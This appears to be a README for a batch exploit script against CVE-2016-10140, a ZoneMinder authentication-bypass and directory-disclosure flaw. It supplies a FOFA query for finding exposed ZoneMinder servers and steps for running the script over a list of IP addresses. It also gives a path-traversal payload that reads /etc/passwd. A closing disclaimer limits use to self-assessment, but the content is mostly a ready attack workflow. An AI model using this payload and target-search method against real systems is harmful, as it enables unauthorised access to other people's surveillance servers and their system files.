CVE-2016-10140-Zoneminder-Poc

ZoneMinder Unauthorized Access (CVE-2016-10140) Poc -- Batch Verification Script

Vulnerability Description

ZoneMinder is an open-source video surveillance system. When abnormal events occur, you can receive email or SMS notifications. There is an information disclosure and authentication bypass vulnerability in the Apache HTTP Server configuration bundled with ZoneMinder v1.30 and v1.29, allowing remote unauthenticated attackers to browse all directories under the web root.

FOFA Syntax

app="ZoneMinder"

Usage

1. Put the IP addresses to be tested into ip.txt file
2. Run python3 exp.py

PAYLOAD

/?view=file&path=/../../../../../etc/passwd

Notes

This tool is provided only for security testers to conduct self-assessments. The author is not responsible for any consequences caused by misuse. Users must comply with local laws. This program is not for commercial use and is limited to learning and exchange.